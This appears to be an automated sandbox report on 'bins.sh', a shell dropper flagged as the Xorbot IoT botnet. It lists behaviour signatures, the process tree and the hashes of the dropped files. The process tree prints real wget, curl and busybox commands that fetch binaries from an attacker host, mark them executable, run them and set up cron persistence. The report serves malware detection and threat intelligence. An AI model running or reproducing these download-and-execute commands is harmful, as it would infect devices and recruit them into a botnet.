Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

1

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/02/2025, 10:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250204-mbemlsvner
  • SHA256 876232321987e8a292e46d3d20fcef7464bd621176f3b17d87f704e7a7d45c24
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1633) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:639
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:641
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:643
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:669
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:679
      • /bin/chmod
        chmod 777 tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
        ./tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
        2⤵
          PID:686
        • /bin/rm
          rm tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
          2⤵
            PID:690
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:692
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:703
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:719
          • /bin/chmod
            chmod 777 xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
            ./xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:727
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:729
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:730
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:732
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:733
              • /bin/rm
                rm xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
                2⤵
                  PID:735
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                  2⤵
                  • System Network Configuration Discovery
                  PID:738
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                  2⤵
                  • System Network Configuration Discovery
                  PID:739
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:740
                • /bin/chmod
                  chmod 777 4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                  2⤵
                  • File and Directory Permissions Modification
                  PID:827
                • /tmp/4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                  ./4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                  2⤵
                    PID:828
                  • /bin/rm
                    rm 4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                    2⤵
                      PID:830
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                      2⤵
                      • System Network Configuration Discovery
                      PID:831
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                      2⤵
                      • Checks CPU configuration
                      • System Network Configuration Discovery
                      PID:834
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:837
                    • /bin/chmod
                      chmod 777 OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                      2⤵
                      • File and Directory Permissions Modification
                      PID:849
                    • /tmp/OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                      ./OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                      2⤵
                        PID:851
                      • /bin/rm
                        rm OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                        2⤵
                          PID:852
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                          2⤵
                          • System Network Configuration Discovery
                          PID:853
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                          2⤵
                          • System Network Configuration Discovery
                          PID:855
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:857
                        • /bin/chmod
                          chmod 777 UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                          2⤵
                          • File and Directory Permissions Modification
                          PID:864
                        • /tmp/UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                          ./UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                          2⤵
                            PID:865
                          • /bin/rm
                            rm UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                            2⤵
                              PID:867
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/2Qcxb4ytUrHXP2tmjrEUQVcinVCRvX9WdH
                              2⤵
                              • System Network Configuration Discovery
                              PID:868

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                                • Path /tmp/4RrZgGCq0sQW6Dhz9sPvxXqTeuViDYhHx5
                                • Size 107KB
                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                                • Path /tmp/OXZ04FHs02Z2RBXMHmkgUfVK2wAjqKfcYS
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                                • Path /tmp/UKkHfTJxjpJTUiaUX8usrLTl0LSvc8Pb6T
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
                                • Path /tmp/tJ0hLn7bhxd1BrIXRLJegh9ied1JiqDFrS
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
                                • Path /tmp/xq824suK2Sxcd0K0RQaDvWFGvP0GYqTXLz
                                • Size 141KB
                                • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                tmp.m9CuYc
                                • Path /var/spool/cron/crontabs/tmp.m9CuYc
                                • Size 210B
                                • SHA256 cf87cfca76e19488e43eb197c8856aa6687c15e03abd030a545b426301d15fea
                                • MD5 SHA1 SHA512
                                Submit Download